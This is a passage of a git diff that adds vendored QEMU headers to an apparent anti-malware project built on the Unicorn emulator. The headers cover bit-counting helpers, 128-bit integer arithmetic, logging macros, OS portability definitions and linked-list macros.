+# define GCC_FMT_ATTR(n, m) __attribute__((format(printf, n, m))) +# else + /* Use gnu_printf when supported (qemu uses standard format strings). */ +# define GCC_FMT_ATTR(n, m) __attribute__((format(gnu_printf, n, m))) +# if defined(_WIN32) + /* Map __printf__ to __gnu_printf__ because we want standard format strings + * even when MinGW or GLib include files use __printf__. */ +# define __printf__ __gnu_printf__ +# endif +# endif +#else +#define GCC_FMT_ATTR(n, m) +#endif + +#endif // _MSC_VER + +#endif /* COMPILER_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/crc32c.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/crc32c.h new file mode 100644 index 0000000..dafb6a1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/crc32c.h @@ -0,0 +1,35 @@ +/* + * Castagnoli CRC32C Checksum Algorithm + * + * Polynomial: 0x11EDC6F41 + * + * Castagnoli93: Guy Castagnoli and Stefan Braeuer and Martin Herrman + * "Optimization of Cyclic Redundancy-Check Codes with 24 + * and 32 Parity Bits",IEEE Transactions on Communication, + * Volume 41, Number 6, June 1993 + * + * Copyright (c) 2013 Red Hat, Inc., + * + * Authors: + * Jeff Cody <jcody@redhat.com> + * + * Based on the Linux kernel cryptographic crc32c module, + * + * Copyright (c) 2004 Cisco Systems, Inc. + * Copyright (c) 2008 Herbert Xu <herbert@gondor.apana.org.au> + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the Free + * Software Foundation; either version 2 of the License, or (at your option) + * any later version. + * + */ + +#ifndef QEMU_CRC32C_H +#define QEMU_CRC32C_H + +#include "qemu-common.h" + +uint32_t crc32c(uint32_t crc, const uint8_t *data, unsigned int length); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/host-utils.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/host-utils.h new file mode 100644 index 0000000..f6157cf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/host-utils.h @@ -0,0 +1,382 @@ +/* + * Utility compute operations used by translated code. + * + * Copyright (c) 2007 Thiemo Seufer + * Copyright (c) 2007 Jocelyn Mayer + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef HOST_UTILS_H +#define HOST_UTILS_H 1 + +#include "qemu/compiler.h" /* QEMU_GNUC_PREREQ */ +#include <limits.h> + +#ifdef CONFIG_INT128 +static inline void mulu64(uint64_t *plow, uint64_t *phigh, + uint64_t a, uint64_t b) +{ + __uint128_t r = (__uint128_t)a * b; + *plow = r; + *phigh = r >> 64; +} + +static inline void muls64(uint64_t *plow, uint64_t *phigh, + int64_t a, int64_t b) +{ + __int128_t r = (__int128_t)a * b; + *plow = r; + *phigh = r >> 64; +} + +static inline int divu128(uint64_t *plow, uint64_t *phigh, uint64_t divisor) +{ + if (divisor == 0) { + return 1; + } else { + __uint128_t dividend = ((__uint128_t)*phigh << 64) | *plow; + __uint128_t result = dividend / divisor; + *plow = result; + *phigh = dividend % divisor; + return result > UINT64_MAX; + } +} + +static inline int divs128(int64_t *plow, int64_t *phigh, int64_t divisor) +{ + if (divisor == 0) { + return 1; + } else { + __int128_t dividend = ((__int128_t)*phigh << 64) | *plow; + __int128_t result = dividend / divisor; + *plow = result; + *phigh = dividend % divisor; + return result != *plow; + } +} +#else +void muls64(uint64_t *phigh, uint64_t *plow, int64_t a, int64_t b); +void mulu64(uint64_t *phigh, uint64_t *plow, uint64_t a, uint64_t b); +int divu128(uint64_t *plow, uint64_t *phigh, uint64_t divisor); +int divs128(int64_t *plow, int64_t *phigh, int64_t divisor); +#endif + +/** + * clz32 - count leading zeros in a 32-bit value. + * @val: The value to search + * + * Returns 32 if the value is zero. Note that the GCC builtin is + * undefined if the value is zero. + */ +static inline int clz32(uint32_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return val ? __builtin_clz(val) : 32; +#else + /* Binary search for the leading one bit. */ + int cnt = 0; + + if (!(val & 0xFFFF0000U)) { + cnt += 16; + val <<= 16; + } + if (!(val & 0xFF000000U)) { + cnt += 8; + val <<= 8; + } + if (!(val & 0xF0000000U)) { + cnt += 4; + val <<= 4; + } + if (!(val & 0xC0000000U)) { + cnt += 2; + val <<= 2; + } + if (!(val & 0x80000000U)) { + cnt++; + val <<= 1; + } + if (!(val & 0x80000000U)) { + cnt++; + } + return cnt; +#endif +} + +/** + * clo32 - count leading ones in a 32-bit value. + * @val: The value to search + * + * Returns 32 if the value is -1. + */ +static inline int clo32(uint32_t val) +{ + return clz32(~val); +} + +/** + * clz64 - count leading zeros in a 64-bit value. + * @val: The value to search + * + * Returns 64 if the value is zero. Note that the GCC builtin is + * undefined if the value is zero. + */ +static inline int clz64(uint64_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return val ? __builtin_clzll(val) : 64; +#else + int cnt = 0; + + if (!(val >> 32)) { + cnt += 32; + } else { + val >>= 32; + } + + return cnt + clz32((uint32_t)val); +#endif +} + +/** + * clo64 - count leading ones in a 64-bit value. + * @val: The value to search + * + * Returns 64 if the value is -1. + */ +static inline int clo64(uint64_t val) +{ + return clz64(~val); +} + +/** + * ctz32 - count trailing zeros in a 32-bit value. + * @val: The value to search + * + * Returns 32 if the value is zero. Note that the GCC builtin is + * undefined if the value is zero. + */ +static inline int ctz32(uint32_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return val ? __builtin_ctz(val) : 32; +#else + /* Binary search for the trailing one bit. */ + int cnt; + + cnt = 0; + if (!(val & 0x0000FFFFUL)) { + cnt += 16; + val >>= 16; + } + if (!(val & 0x000000FFUL)) { + cnt += 8; + val >>= 8; + } + if (!(val & 0x0000000FUL)) { + cnt += 4; + val >>= 4; + } + if (!(val & 0x00000003UL)) { + cnt += 2; + val >>= 2; + } + if (!(val & 0x00000001UL)) { + cnt++; + val >>= 1; + } + if (!(val & 0x00000001UL)) { + cnt++; + } + + return cnt; +#endif +} + +/** + * cto32 - count trailing ones in a 32-bit value. + * @val: The value to search + * + * Returns 32 if the value is -1. + */ +static inline int cto32(uint32_t val) +{ + return ctz32(~val); +} + +/** + * ctz64 - count trailing zeros in a 64-bit value. + * @val: The value to search + * + * Returns 64 if the value is zero. Note that the GCC builtin is + * undefined if the value is zero. + */ +static inline int ctz64(uint64_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return val ? __builtin_ctzll(val) : 64; +#else + int cnt; + + cnt = 0; + if (!((uint32_t)val)) { + cnt += 32; + val >>= 32; + } + + return cnt + ctz32((uint32_t)val); +#endif +} + +/** + * cto64 - count trailing ones in a 64-bit value. + * @val: The value to search + * + * Returns 64 if the value is -1. + */ +static inline int cto64(uint64_t val) +{ + return ctz64(~val); +} + +/** + * clrsb32 - count leading redundant sign bits in a 32-bit value. + * @val: The value to search + * + * Returns the number of bits following the sign bit that are equal to it. + * No special cases; output range is [0-31]. + */ +static inline int clrsb32(uint32_t val) +{ +#if QEMU_GNUC_PREREQ(4, 7) + return __builtin_clrsb(val); +#else + return clz32(val ^ ((int32_t)val >> 1)) - 1; +#endif +} + +/** + * clrsb64 - count leading redundant sign bits in a 64-bit value. + * @val: The value to search + * + * Returns the number of bits following the sign bit that are equal to it. + * No special cases; output range is [0-63]. + */ +static inline int clrsb64(uint64_t val) +{ +#if QEMU_GNUC_PREREQ(4, 7) + return __builtin_clrsbll(val); +#else + return clz64(val ^ ((int64_t)val >> 1)) - 1; +#endif +} + +/** + * ctpop8 - count the population of one bits in an 8-bit value. + * @val: The value to search + */ +static inline int ctpop8(uint8_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return __builtin_popcount(val); +#else + val = (val & 0x55) + ((val >> 1) & 0x55); + val = (val & 0x33) + ((val >> 2) & 0x33); + val = (val & 0x0f) + ((val >> 4) & 0x0f); + + return val; +#endif +} + +/** + * ctpop16 - count the population of one bits in a 16-bit value. + * @val: The value to search + */ +static inline int ctpop16(uint16_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return __builtin_popcount(val); +#else + val = (val & 0x5555) + ((val >> 1) & 0x5555); + val = (val & 0x3333) + ((val >> 2) & 0x3333); + val = (val & 0x0f0f) + ((val >> 4) & 0x0f0f); + val = (val & 0x00ff) + ((val >> 8) & 0x00ff); + + return val; +#endif +} + +/** + * ctpop32 - count the population of one bits in a 32-bit value. + * @val: The value to search + */ +static inline int ctpop32(uint32_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return __builtin_popcount(val); +#else + val = (val & 0x55555555) + ((val >> 1) & 0x55555555); + val = (val & 0x33333333) + ((val >> 2) & 0x33333333); + val = (val & 0x0f0f0f0f) + ((val >> 4) & 0x0f0f0f0f); + val = (val & 0x00ff00ff) + ((val >> 8) & 0x00ff00ff); + val = (val & 0x0000ffff) + ((val >> 16) & 0x0000ffff); + + return val; +#endif +} + +/** + * ctpop64 - count the population of one bits in a 64-bit value. + * @val: The value to search + */ +static inline int ctpop64(uint64_t val) +{ +#if QEMU_GNUC_PREREQ(3, 4) + return __builtin_popcountll(val); +#else + val = (val & 0x5555555555555555ULL) + ((val >> 1) & 0x5555555555555555ULL); + val = (val & 0x3333333333333333ULL) + ((val >> 2) & 0x3333333333333333ULL); + val = (val & 0x0f0f0f0f0f0f0f0fULL) + ((val >> 4) & 0x0f0f0f0f0f0f0f0fULL); + val = (val & 0x00ff00ff00ff00ffULL) + ((val >> 8) & 0x00ff00ff00ff00ffULL); + val = (val & 0x0000ffff0000ffffULL) + ((val >> 16) & 0x0000ffff0000ffffULL); + val = (val & 0x00000000ffffffffULL) + ((val >> 32) & 0x00000000ffffffffULL); + + return (int)val; +#endif +} + +/* Host type specific sizes of these routines. */ + +#if ULONG_MAX == UINT32_MAX +# define clzl clz32 +# define ctzl ctz32 +# define clol clo32 +# define ctol cto32 +# define ctpopl ctpop32 +#elif ULONG_MAX == UINT64_MAX +# define clzl clz64 +# define ctzl ctz64 +# define clol clo64 +# define ctol cto64 +# define ctpopl ctpop64 +#else +# error Unknown sizeof long +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/int128.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/int128.h new file mode 100644 index 0000000..f435210 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/int128.h @@ -0,0 +1,157 @@ +#ifndef INT128_H +#define INT128_H + +//#include <assert.h> +#include "unicorn/platform.h" + +typedef struct Int128 Int128; + +struct Int128 { + uint64_t lo; + int64_t hi; +}; + +static inline Int128 int128_make64(uint64_t a) +{ + Int128 i128 = { a, 0 }; + return i128; +} + +static inline uint64_t int128_get64(Int128 a) +{ + //assert(!a.hi); + return a.lo; +} + +static inline Int128 int128_zero(void) +{ + return int128_make64(0); +} + +static inline Int128 int128_one(void) +{ + return int128_make64(1); +} + +static inline Int128 int128_2_64(void) +{ + Int128 i128 = { 0, 1 }; + return i128; +} + +static inline Int128 int128_exts64(int64_t a) +{ + Int128 i128 = { a, (a < 0) ? -1 : 0 }; + return i128; +} + +static inline Int128 int128_and(Int128 a, Int128 b) +{ + Int128 i128 = { a.lo & b.lo, a.hi & b.hi }; + return i128; +} + +static inline Int128 int128_rshift(Int128 a, int n) +{ + int64_t h; + if (!n) { + return a; + } + h = a.hi >> (n & 63); + if (n >= 64) { + Int128 i128 = { h, h >> 63 }; + return i128; + } else { + Int128 i128 = { (a.lo >> n) | ((uint64_t)a.hi << (64 - n)), h }; + return i128; + } +} + +static inline Int128 int128_add(Int128 a, Int128 b) +{ + uint64_t lo = a.lo + b.lo; + + /* a.lo <= a.lo + b.lo < a.lo + k (k is the base, 2^64). Hence, + * a.lo + b.lo >= k implies 0 <= lo = a.lo + b.lo - k < a.lo. + * Similarly, a.lo + b.lo < k implies a.lo <= lo = a.lo + b.lo < k. + * + * So the carry is lo < a.lo. + */ + Int128 i128 = { lo, (uint64_t)a.hi + b.hi + (lo < a.lo) }; + return i128; +} + +static inline Int128 int128_neg(Int128 a) +{ + uint64_t lo = 0-a.lo; + Int128 i128 = { lo, ~(uint64_t)a.hi + !lo }; + return i128; +} + +static inline Int128 int128_sub(Int128 a, Int128 b) +{ + Int128 i128 = { a.lo - b.lo, (uint64_t)a.hi - b.hi - (a.lo < b.lo) }; + return i128; +} + +static inline bool int128_nonneg(Int128 a) +{ + return a.hi >= 0; +} + +static inline bool int128_eq(Int128 a, Int128 b) +{ + return a.lo == b.lo && a.hi == b.hi; +} + +static inline bool int128_ne(Int128 a, Int128 b) +{ + return !int128_eq(a, b); +} + +static inline bool int128_ge(Int128 a, Int128 b) +{ + return a.hi > b.hi || (a.hi == b.hi && a.lo >= b.lo); +} + +static inline bool int128_lt(Int128 a, Int128 b) +{ + return !int128_ge(a, b); +} + +static inline bool int128_le(Int128 a, Int128 b) +{ + return int128_ge(b, a); +} + +static inline bool int128_gt(Int128 a, Int128 b) +{ + return !int128_le(a, b); +} + +static inline bool int128_nz(Int128 a) +{ + return a.lo || a.hi; +} + +static inline Int128 int128_min(Int128 a, Int128 b) +{ + return int128_le(a, b) ? a : b; +} + +static inline Int128 int128_max(Int128 a, Int128 b) +{ + return int128_ge(a, b) ? a : b; +} + +static inline void int128_addto(Int128 *a, Int128 b) +{ + *a = int128_add(*a, b); +} + +static inline void int128_subfrom(Int128 *a, Int128 b) +{ + *a = int128_sub(*a, b); +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/log.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/log.h new file mode 100644 index 0000000..6f9ccdf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/log.h @@ -0,0 +1,117 @@ +#ifndef QEMU_LOG_H +#define QEMU_LOG_H + +#include <stdarg.h> +#include "unicorn/platform.h" +#include "qemu/compiler.h" +#include "qom/cpu.h" + +/* Private global variables, don't use */ +extern FILE *qemu_logfile; +extern int qemu_loglevel; + +/* + * The new API: + * + */ + +/* Log settings checking macros: */ + +/* Returns true if qemu_log() will really write somewhere + */ +static inline bool qemu_log_enabled(void) +{ + return qemu_logfile != NULL; +} + +#define CPU_LOG_TB_OUT_ASM (1 << 0) +#define CPU_LOG_TB_IN_ASM (1 << 1) +#define CPU_LOG_TB_OP (1 << 2) +#define CPU_LOG_TB_OP_OPT (1 << 3) +#define CPU_LOG_INT (1 << 4) +#define CPU_LOG_EXEC (1 << 5) +#define CPU_LOG_PCALL (1 << 6) +#define CPU_LOG_IOPORT (1 << 7) +#define CPU_LOG_TB_CPU (1 << 8) +#define CPU_LOG_RESET (1 << 9) +#define LOG_UNIMP (1 << 10) +#define LOG_GUEST_ERROR (1 << 11) + +/* Returns true if a bit is set in the current loglevel mask + */ +static inline bool qemu_loglevel_mask(int mask) +{ + return (qemu_loglevel & mask) != 0; +} + +/* Logging functions: */ + +/* main logging function + */ +void GCC_FMT_ATTR(1, 2) qemu_log(const char *fmt, ...); + +/* vfprintf-like logging function + */ +static inline void GCC_FMT_ATTR(1, 0) +qemu_log_vprintf(const char *fmt, va_list va) +{ + if (qemu_logfile) { + vfprintf(qemu_logfile, fmt, va); + } +} + +/* log only if a bit is set on the current loglevel mask + */ +void GCC_FMT_ATTR(2, 3) qemu_log_mask(int mask, const char *fmt, ...); + + +/* Special cases: */ + +/* cpu_dump_state() logging functions: */ +/** + * log_cpu_state: + * @cpu: The CPU whose state is to be logged. + * @flags: Flags what to log. + * + * Logs the output of cpu_dump_state(). + */ +static inline void log_cpu_state(CPUState *cpu, int flags) +{ + if (qemu_log_enabled()) { + cpu_dump_state(cpu, qemu_logfile, fprintf, flags); + } +} + +/** + * log_cpu_state_mask: + * @mask: Mask when to log. + * @cpu: The CPU whose state is to be logged. + * @flags: Flags what to log. + * + * Logs the output of cpu_dump_state() if loglevel includes @mask. + */ +static inline void log_cpu_state_mask(int mask, CPUState *cpu, int flags) +{ + if (qemu_loglevel & mask) { + log_cpu_state(cpu, flags); + } +} + +/* fflush() the log file */ +static inline void qemu_log_flush(void) +{ + fflush(qemu_logfile); +} + +/* Close the log file */ +static inline void qemu_log_close(void) +{ + if (qemu_logfile) { + if (qemu_logfile != stderr) { + fclose(qemu_logfile); + } + qemu_logfile = NULL; + } +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/module.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/module.h new file mode 100644 index 0000000..01b9fe5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/module.h @@ -0,0 +1,30 @@ +/* + * QEMU Module Infrastructure + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU GPL, version 2. See + * the COPYING file in the top-level directory. + * + */ + +#ifndef QEMU_MODULE_H +#define QEMU_MODULE_H + +#include "qemu/osdep.h" + +typedef enum { + MODULE_INIT_MACHINE, + MODULE_INIT_QOM, + MODULE_INIT_MAX +} module_init_type; + +#define machine_init(function) module_init(function, MODULE_INIT_MACHINE) +#define type_init(function) module_init(function, MODULE_INIT_QOM) + +void module_call_init(struct uc_struct *uc, module_init_type type); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/osdep.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/osdep.h new file mode 100644 index 0000000..5387816 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/osdep.h @@ -0,0 +1,128 @@ +#ifndef QEMU_OSDEP_H +#define QEMU_OSDEP_H + +#include "config-host.h" +#include <stdarg.h> +#include <stddef.h> +#include "unicorn/platform.h" +#include <sys/types.h> +#ifdef __OpenBSD__ +#include <sys/signal.h> +#endif + +#ifndef _WIN32 +#include <sys/wait.h> +#else +#define WIFEXITED(x) 1 +#define WEXITSTATUS(x) (x) +#endif + +#if defined(CONFIG_SOLARIS) && CONFIG_SOLARIS_VERSION < 10 +/* [u]int_fast*_t not in <sys/int_types.h> */ +typedef unsigned char uint_fast8_t; +typedef unsigned int uint_fast16_t; +typedef signed int int_fast16_t; +#endif + +#ifndef glue +#define xglue(x, y) x ## y +#define glue(x, y) xglue(x, y) +#define stringify(s) tostring(s) +#define tostring(s) #s +#endif + +#ifndef likely +#if __GNUC__ < 3 +#define __builtin_expect(x, n) (x) +#endif + +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) +#endif + +#ifndef container_of +#ifndef _MSC_VER +#define container_of(ptr, type, member) ({ \ + const typeof(((type *) 0)->member) *__mptr = (ptr); \ + (type *) ((char *) __mptr - offsetof(type, member));}) +#else +#define container_of(ptr, type, member) ((type *)((char *)(ptr) -offsetof(type,member))) +#endif +#endif + +/* Convert from a base type to a parent type, with compile time checking. */ +#ifdef __GNUC__ +#define DO_UPCAST(type, field, dev) ( __extension__ ( { \ + char QEMU_UNUSED_VAR offset_must_be_zero[ \ + -offsetof(type, field)]; \ + container_of(dev, type, field);})) +#else +#define DO_UPCAST(type, field, dev) container_of(dev, type, field) +#endif + +#define typeof_field(type, field) typeof(((type *)0)->field) +#define type_check(t1,t2) ((t1*)0 - (t2*)0) + +#ifndef MIN +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#endif +#ifndef MAX +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) +#endif + +/* Minimum function that returns zero only iff both values are zero. + * Intended for use with unsigned values only. */ +#ifndef MIN_NON_ZERO +#define MIN_NON_ZERO(a, b) (((a) != 0 && (a) < (b)) ? (a) : (b)) +#endif + +#ifndef ROUND_UP +#define ROUND_UP(n,d) (((n) + (d) - 1) & -(d)) +#endif + +#ifndef DIV_ROUND_UP +#define DIV_ROUND_UP(n,d) (((n) + (d) - 1) / (d)) +#endif + +#ifndef ARRAY_SIZE +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) +#endif + +#ifndef always_inline +#if !((__GNUC__ < 3) || defined(__APPLE__)) +#ifdef __OPTIMIZE__ +#undef inline +#define inline __attribute__ (( always_inline )) __inline__ +#endif +#endif +#else +#undef inline +#define inline always_inline +#endif + +#define qemu_printf printf + +void *qemu_try_memalign(size_t alignment, size_t size); +void *qemu_memalign(size_t alignment, size_t size); +void *qemu_anon_ram_alloc(size_t size, uint64_t *align); +void qemu_vfree(void *ptr); +void qemu_anon_ram_free(void *ptr, size_t size); + +#if defined(__HAIKU__) && defined(__i386__) +#define FMT_pid "%ld" +#elif defined(WIN64) +#define FMT_pid "%" PRId64 +#else +#define FMT_pid "%d" +#endif + +/** + * qemu_getauxval: + * @type: the auxiliary vector key to lookup + * + * Search the auxiliary vector for @type, returning the value + * or 0 if @type is not present. + */ +unsigned long qemu_getauxval(unsigned long type); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/queue.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/queue.h new file mode 100644 index 0000000..d433b90 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/queue.h @@ -0,0 +1,414 @@ +/* $NetBSD: queue.h,v 1.52 2009/04/20 09:56:08 mschuett Exp $ */ + +/* + * QEMU version: Copy from netbsd, removed debug code, removed some of + * the implementations. Left in singly-linked lists, lists, simple + * queues, and tail queues. + */ + +/* + * Copyright (c) 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)queue.h 8.5 (Berkeley) 8/20/94 + */ + +#ifndef QEMU_SYS_QUEUE_H_ +#define QEMU_SYS_QUEUE_H_ + +/* + * This file defines four types of data structures: singly-linked lists, + * lists, simple queues, and tail queues. + * + * A singly-linked list is headed by a single forward pointer. The + * elements are singly linked for minimum space and pointer manipulation + * overhead at the expense of O(n) removal for arbitrary elements. New + * elements can be added to the list after an existing element or at the + * head of the list. Elements being removed from the head of the list + * should use the explicit macro for this purpose for optimum + * efficiency. A singly-linked list may only be traversed in the forward + * direction. Singly-linked lists are ideal for applications with large + * datasets and few or no removals or for implementing a LIFO queue. + * + * A list is headed by a single forward pointer (or an array of forward + * pointers for a hash table header). The elements are doubly linked + * so that an arbitrary element can be removed without a need to + * traverse the list. New elements can be added to the list before + * or after an existing element or at the head of the list. A list + * may only be traversed in the forward direction. + * + * A simple queue is headed by a pair of pointers, one the head of the + * list and the other to the tail of the list. The elements are singly + * linked to save space, so elements can only be removed from the + * head of the list. New elements can be added to the list after + * an existing element, at the head of the list, or at the end of the + * list. A simple queue may only be traversed in the forward direction. + * + * A tail queue is headed by a pair of pointers, one to the head of the + * list and the other to the tail of the list. The elements are doubly + * linked so that an arbitrary element can be removed without a need to + * traverse the list. New elements can be added to the list before or + * after an existing element, at the head of the list, or at the end of + * the list. A tail queue may be traversed in either direction. + * + * For details on the use of these macros, see the queue(3) manual page. + */ + +#include "qemu/atomic.h" /* for smp_wmb() */ + +/* + * List definitions. + */ +#define QLIST_HEAD(name, type) \ +struct name { \ + struct type *lh_first; /* first element */ \ +} + +#define QLIST_HEAD_INITIALIZER(head) \ + { NULL } + +#define QLIST_ENTRY(type) \ +struct { \ + struct type *le_next; /* next element */ \ + struct type **le_prev; /* address of previous next element */ \ +} + +/* + * List functions. + */ +#define QLIST_INIT(head) do { \ + (head)->lh_first = NULL; \ +} while (/*CONSTCOND*/0) + +#define QLIST_INSERT_AFTER(listelm, elm, field) do { \ + if (((elm)->field.le_next = (listelm)->field.le_next) != NULL) \ + (listelm)->field.le_next->field.le_prev = \ + &(elm)->field.le_next; \ + (listelm)->field.le_next = (elm); \ + (elm)->field.le_prev = &(listelm)->field.le_next; \ +} while (/*CONSTCOND*/0) + +#define QLIST_INSERT_BEFORE(listelm, elm, field) do { \ + (elm)->field.le_prev = (listelm)->field.le_prev; \ + (elm)->field.le_next = (listelm); \ + *(listelm)->field.le_prev = (elm); \ + (listelm)->field.le_prev = &(elm)->field.le_next; \ +} while (/*CONSTCOND*/0) + +#define QLIST_INSERT_HEAD(head, elm, field) do { \ + if (((elm)->field.le_next = (head)->lh_first) != NULL) \ + (head)->lh_first->field.le_prev = &(elm)->field.le_next;\ + (head)->lh_first = (elm); \ + (elm)->field.le_prev = &(head)->lh_first; \ +} while (/*CONSTCOND*/0) + +#define QLIST_INSERT_HEAD_RCU(head, elm, field) do { \ + (elm)->field.le_prev = &(head)->lh_first; \ + (elm)->field.le_next = (head)->lh_first; \ + smp_wmb(); /* fill elm before linking it */ \ + if ((head)->lh_first != NULL) { \ + (head)->lh_first->field.le_prev = &(elm)->field.le_next; \ + } \ + (head)->lh_first = (elm); \ + smp_wmb(); \ +} while (/* CONSTCOND*/0) + +#define QLIST_REMOVE(elm, field) do { \ + if ((elm)->field.le_next != NULL) \ + (elm)->field.le_next->field.le_prev = \ + (elm)->field.le_prev; \ + *(elm)->field.le_prev = (elm)->field.le_next; \ +} while (/*CONSTCOND*/0) + +#define QLIST_FOREACH(var, head, field) \ + for ((var) = ((head)->lh_first); \ + (var); \ + (var) = ((var)->field.le_next)) + +#define QLIST_FOREACH_SAFE(var, head, field, next_var) \ + for ((var) = ((head)->lh_first); \ + (var) && ((next_var) = ((var)->field.le_next), 1); \ + (var) = (next_var)) + +/* + * List access methods. + */ +#define QLIST_EMPTY(head) ((head)->lh_first == NULL) +#define QLIST_FIRST(head) ((head)->lh_first) +#define QLIST_NEXT(elm, field) ((elm)->field.le_next) + + +/* + * Singly-linked List definitions. + */ +#define QSLIST_HEAD(name, type) \ +struct name { \ + struct type *slh_first; /* first element */ \ +} + +#define QSLIST_HEAD_INITIALIZER(head) \ + { NULL } + +#define QSLIST_ENTRY(type) \ +struct { \ + struct type *sle_next; /* next element */ \ +} + +/* + * Singly-linked List functions. + */ +#define QSLIST_INIT(head) do { \ + (head)->slh_first = NULL; \ +} while (/*CONSTCOND*/0) + +#define QSLIST_INSERT_AFTER(slistelm, elm, field) do { \ + (elm)->field.sle_next = (slistelm)->field.sle_next; \ + (slistelm)->field.sle_next = (elm); \ +} while (/*CONSTCOND*/0) + +#define QSLIST_INSERT_HEAD(head, elm, field) do { \ + (elm)->field.sle_next = (head)->slh_first; \ + (head)->slh_first = (elm); \ +} while (/*CONSTCOND*/0) + +#define QSLIST_REMOVE_HEAD(head, field) do { \ + (head)->slh_first = (head)->slh_first->field.sle_next; \ +} while (/*CONSTCOND*/0) + +#define QSLIST_REMOVE_AFTER(slistelm, field) do { \ + (slistelm)->field.sle_next = \ + QSLIST_NEXT(QSLIST_NEXT((slistelm), field), field); \ +} while (/*CONSTCOND*/0) + +#define QSLIST_FOREACH(var, head, field) \ + for((var) = (head)->slh_first; (var); (var) = (var)->field.sle_next) + +#define QSLIST_FOREACH_SAFE(var, head, field, tvar) \ + for ((var) = QSLIST_FIRST((head)); \ + (var) && ((tvar) = QSLIST_NEXT((var), field), 1); \ + (var) = (tvar)) + +/* + * Singly-linked List access methods. + */ +#define QSLIST_EMPTY(head) ((head)->slh_first == NULL) +#define QSLIST_FIRST(head) ((head)->slh_first) +#define QSLIST_NEXT(elm, field) ((elm)->field.sle_next) + + +/* + * Simple queue definitions. + */ +#define QSIMPLEQ_HEAD(name, type) \ +struct name { \ + struct type *sqh_first; /* first element */ \ + struct type **sqh_last; /* addr of last next element */ \ +} + +#define QSIMPLEQ_HEAD_INITIALIZER(head) \ + { 